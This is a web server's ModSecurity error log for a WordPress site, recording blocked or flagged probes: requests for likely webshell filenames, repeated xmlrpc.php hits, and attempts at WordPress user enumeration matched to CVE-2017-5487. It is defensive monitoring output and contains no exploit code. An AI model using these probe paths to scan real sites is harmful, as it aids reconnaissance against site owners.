[Mon Jan 05 22:55:18.679673 2026] [:error] [pid 5534:tid 5555] [client 172.192.68.8:4402] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVvQ1pNs9XmbR6unB0wPrwAAAAw"]
[Mon Jan 05 22:55:21.507977 2026] [:error] [pid 28407:tid 28411] [client 172.192.68.8:34297] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gaje.php"] [unique_id "aVvQ2dercd3ptydUzM17FwAAAYE"]
[Mon Jan 05 22:55:24.043836 2026] [:error] [pid 5632:tid 5663] [client 172.192.68.8:4380] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "aVvQ3IN3ZWvlOh-nbt_y5QAAANM"]
[Mon Jan 05 22:55:26.805558 2026] [:error] [pid 5534:tid 5550] [client 172.192.68.8:62598] [client 172.192.68.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "aVvQ3pNs9XmbR6unB0wPtAAAAAc"]
[Mon Jan 05 22:58:35.355936 2026] [:error] [pid 5535:tid 5582] [client 174.142.31.70:35750] [client 174.142.31.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 174.142.31.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvRm2nkedMjhVX0PTWbwQAAAEw"]
[Mon Jan 05 23:15:30.606088 2026] [:error] [pid 5536:tid 5599] [client 91.189.127.4:47182] [client 91.189.127.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.189.127.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvVkgRtMZNG6xI8yDwk-wAAAII"]
[Mon Jan 05 23:42:17.398412 2026] [:error] [pid 28407:tid 28435] [client 133.167.43.48:38942] [client 133.167.43.48] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 133.167.43.48, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvb2dercd3ptydUzM2LYgAAAZg"]
[Mon Jan 05 23:57:58.382432 2026] [:error] [pid 5536:tid 5621] [client 46.37.240.70:58280] [client 46.37.240.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.37.240.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvfhgRtMZNG6xI8yDwynAAAAJg"]
[Tue Jan 06 00:03:48.709449 2026] [autoindex:error] [pid 54081:tid 54084] [client 167.71.91.83:64124] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Jan 06 00:20:58.554882 2026] [:error] [pid 60509:tid 60524] [client 34.91.83.63:39226] [client 34.91.83.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.91.83.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvk6qBSiT1_wVwKSvQUsgAAAEM"]
[Tue Jan 06 00:23:40.303982 2026] [:error] [pid 60510:tid 60566] [client 103.20.213.90:57142] [client 103.20.213.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.20.213.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvljG3HNEkuMRrTL0L96wAAAJI"]
[Tue Jan 06 00:23:43.255183 2026] [:error] [pid 60509:tid 60521] [client 103.20.213.90:57520] [client 103.20.213.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.20.213.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlj6BSiT1_wVwKSvQWMwAAAEA"]
[Tue Jan 06 00:23:45.569511 2026] [:error] [pid 29187:tid 29194] [client 103.20.213.90:57800] [client 103.20.213.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.20.213.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlkYSYYRtfmMXGZCp5twAAAAU"]
[Tue Jan 06 00:24:12.368458 2026] [:error] [pid 60605:tid 60618] [client 103.191.209.16:43038] [client 103.191.209.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.209.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlrJGdDsTlcaRtgxQ0nQAAAQs"]
[Tue Jan 06 00:24:15.453547 2026] [:error] [pid 29187:tid 29205] [client 103.191.209.16:43044] [client 103.191.209.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.209.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlr4SYYRtfmMXGZCp6DAAAABA"]
[Tue Jan 06 00:24:18.130466 2026] [:error] [pid 29187:tid 29206] [client 103.191.209.16:43054] [client 103.191.209.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.209.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlsoSYYRtfmMXGZCp6FQAAABE"]
[Tue Jan 06 00:24:33.820652 2026] [:error] [pid 60510:tid 60570] [client 89.46.108.148:33244] [client 89.46.108.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.108.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlwW3HNEkuMRrTL0L-TAAAAJY"]
[Tue Jan 06 00:24:36.419707 2026] [:error] [pid 60605:tid 60627] [client 89.46.108.148:33252] [client 89.46.108.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.108.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlxJGdDsTlcaRtgxQ00QAAARQ"]
[Tue Jan 06 00:24:39.027032 2026] [:error] [pid 29187:tid 29191] [client 89.46.108.148:33256] [client 89.46.108.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.108.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvlx4SYYRtfmMXGZCp6MQAAAAI"]
[Tue Jan 06 00:25:39.014021 2026] [:error] [pid 60514:tid 60583] [client 203.175.8.56:35012] [client 203.175.8.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.175.8.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmA270C0kefOIBEs9PqQAAAMg"]
[Tue Jan 06 00:25:41.436227 2026] [:error] [pid 60510:tid 60566] [client 203.175.8.56:35186] [client 203.175.8.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.175.8.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmBW3HNEkuMRrTL0L-lQAAAJI"]
[Tue Jan 06 00:25:43.431593 2026] [:error] [pid 29187:tid 29203] [client 203.175.8.56:35312] [client 203.175.8.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.175.8.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmB4SYYRtfmMXGZCp6nQAAAA4"]
[Tue Jan 06 00:25:55.351799 2026] [:error] [pid 60510:tid 60564] [client 109.234.166.68:41748] [client 109.234.166.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.234.166.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmE23HNEkuMRrTL0L-qQAAAJA"]
[Tue Jan 06 00:25:57.818339 2026] [:error] [pid 60514:tid 60598] [client 109.234.166.68:41750] [client 109.234.166.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.234.166.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmFW70C0kefOIBEs9PuAAAANc"]
[Tue Jan 06 00:26:00.198710 2026] [:error] [pid 60510:tid 60556] [client 109.234.166.68:60070] [client 109.234.166.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.234.166.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmGG3HNEkuMRrTL0L-rAAAAIg"]
[Tue Jan 06 00:26:23.570953 2026] [:error] [pid 60509:tid 60529] [client 43.201.228.242:45096] [client 43.201.228.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.201.228.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmL6BSiT1_wVwKSvQW8wAAAEg"]
[Tue Jan 06 00:26:25.462867 2026] [:error] [pid 29187:tid 29199] [client 43.201.228.242:45110] [client 43.201.228.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.201.228.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmMYSYYRtfmMXGZCp63QAAAAo"]
[Tue Jan 06 00:26:27.355588 2026] [:error] [pid 60514:tid 60584] [client 43.201.228.242:45112] [client 43.201.228.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.201.228.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvmM270C0kefOIBEs9P1wAAAMk"]
[Tue Jan 06 00:43:20.129214 2026] [:error] [pid 29187:tid 29191] [client 34.186.62.208:61736] [client 34.186.62.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.62.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqKISYYRtfmMXGZCqGawAAAAI"]
[Tue Jan 06 00:43:23.601655 2026] [:error] [pid 29187:tid 29208] [client 34.186.62.208:61736] [client 34.186.62.208] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVvqK4SYYRtfmMXGZCqGcQAAABM"]
[Tue Jan 06 00:43:26.280310 2026] [:error] [pid 29187:tid 29197] [client 34.186.62.208:61736] [client 34.186.62.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.62.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqLoSYYRtfmMXGZCqGfAAAAAg"]
[Tue Jan 06 00:43:28.232966 2026] [:error] [pid 60509:tid 60543] [client 34.186.62.208:59123] [client 34.186.62.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.62.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqMKBSiT1_wVwKSvQfSAAAAFY"]
[Tue Jan 06 00:43:30.125774 2026] [:error] [pid 29187:tid 29212] [client 34.186.62.208:65066] [client 34.186.62.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.62.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqMoSYYRtfmMXGZCqGhQAAABc"]
[Tue Jan 06 00:43:32.096946 2026] [:error] [pid 29187:tid 29209] [client 34.186.62.208:51716] [client 34.186.62.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.62.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqNISYYRtfmMXGZCqGiwAAABQ"]
[Tue Jan 06 00:43:34.110977 2026] [:error] [pid 29187:tid 29193] [client 34.186.62.208:53173] [client 34.186.62.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.186.62.208, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqNoSYYRtfmMXGZCqGjwAAAAQ"]
[Tue Jan 06 00:43:34.111139 2026] [:error] [pid 29187:tid 29193] [client 34.186.62.208:53173] [client 34.186.62.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.186.62.208, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqNoSYYRtfmMXGZCqGjwAAAAQ"]
[Tue Jan 06 00:43:54.522884 2026] [:error] [pid 29187:tid 29191] [client 166.62.85.160:44042] [client 166.62.85.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 166.62.85.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvqSoSYYRtfmMXGZCqGxgAAAAI"]
[Tue Jan 06 01:22:06.849581 2026] [:error] [pid 60509:tid 60543] [client 34.28.38.198:56007] [client 34.28.38.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.28.38.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvzPqBSiT1_wVwKSvQsjgAAAFY"]
[Tue Jan 06 01:22:10.283606 2026] [:error] [pid 60509:tid 60521] [client 34.28.38.198:56007] [client 34.28.38.198] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVvzQqBSiT1_wVwKSvQslAAAAEA"]
[Tue Jan 06 01:22:11.761787 2026] [:error] [pid 60509:tid 60545] [client 34.28.38.198:56007] [client 34.28.38.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.28.38.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvzQ6BSiT1_wVwKSvQslgAAAFg"]
[Tue Jan 06 01:22:13.666217 2026] [:error] [pid 60509:tid 60537] [client 34.28.38.198:64668] [client 34.28.38.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.28.38.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvzRaBSiT1_wVwKSvQsmAAAAFA"]
[Tue Jan 06 01:22:15.527533 2026] [:error] [pid 60605:tid 60625] [client 34.28.38.198:64110] [client 34.28.38.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.28.38.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvzR5GdDsTlcaRtgxRQQwAAARI"]
[Tue Jan 06 01:22:17.469221 2026] [:error] [pid 60605:tid 60619] [client 34.28.38.198:55082] [client 34.28.38.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.28.38.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvzSZGdDsTlcaRtgxRQSAAAAQw"]
[Tue Jan 06 01:22:19.506673 2026] [:error] [pid 60605:tid 60613] [client 34.28.38.198:62904] [client 34.28.38.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.28.38.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvzS5GdDsTlcaRtgxRQTwAAAQY"]
[Tue Jan 06 01:22:19.506836 2026] [:error] [pid 60605:tid 60613] [client 34.28.38.198:62904] [client 34.28.38.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.28.38.198, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVvzS5GdDsTlcaRtgxRQTwAAAQY"]
[Tue Jan 06 01:27:40.123145 2026] [:error] [pid 60510:tid 60557] [client 182.42.104.32:55841] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aVv0jG3HNEkuMRrTL0ITPgAAAIk"]
[Tue Jan 06 01:31:44.682589 2026] [:error] [pid 53108:tid 53113] [client 213.165.80.69:46456] [client 213.165.80.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.80.69, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVv1gLBx3HO3OwSCI0gtQgAAAUM"]
[Tue Jan 06 02:03:31.997564 2026] [:error] [pid 60509:tid 60531] [client 113.36.242.230:41844] [client 113.36.242.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.36.242.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVv886BSiT1_wVwKSvQ6mAAAAEo"]
[Tue Jan 06 04:35:01.357244 2026] [:error] [pid 44903:tid 44933] [client 217.151.98.168:56736] [client 217.151.98.168] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aVwgddhHqjs38zbkQPAtFQAAABg"], referer: https://www.google.com
[Tue Jan 06 04:39:39.257199 2026] [:error] [pid 44904:tid 44965] [client 83.166.133.78:42880] [client 83.166.133.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.133.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwhiztieuI1BJEZcvdQUgAAAFg"]
[Tue Jan 06 04:39:42.228486 2026] [:error] [pid 44904:tid 44944] [client 83.166.133.78:42894] [client 83.166.133.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.133.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwhjjtieuI1BJEZcvdQWQAAAEM"]
[Tue Jan 06 04:39:44.810063 2026] [:error] [pid 44903:tid 44923] [client 83.166.133.78:42896] [client 83.166.133.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.133.78, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwhkNhHqjs38zbkQPAujwAAABA"]
[Tue Jan 06 04:40:33.279711 2026] [:error] [pid 45012:tid 45020] [client 208.98.35.124:48831] [client 208.98.35.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.98.35.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwhwRaMAxCuju1d0ubleQAAAMY"]
[Tue Jan 06 04:40:35.949950 2026] [:error] [pid 44904:tid 44954] [client 208.98.35.124:48839] [client 208.98.35.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.98.35.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwhwztieuI1BJEZcvdQiAAAAE0"]
[Tue Jan 06 04:40:37.895375 2026] [:error] [pid 45012:tid 45022] [client 208.98.35.124:48842] [client 208.98.35.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.98.35.124, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwhxRaMAxCuju1d0ublggAAAMg"]
[Tue Jan 06 04:40:53.943376 2026] [:error] [pid 45012:tid 45020] [client 208.113.190.84:50496] [client 208.113.190.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 208.113.190.84, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aVwh1RaMAxCuju1d0ubllAAAAMY"]
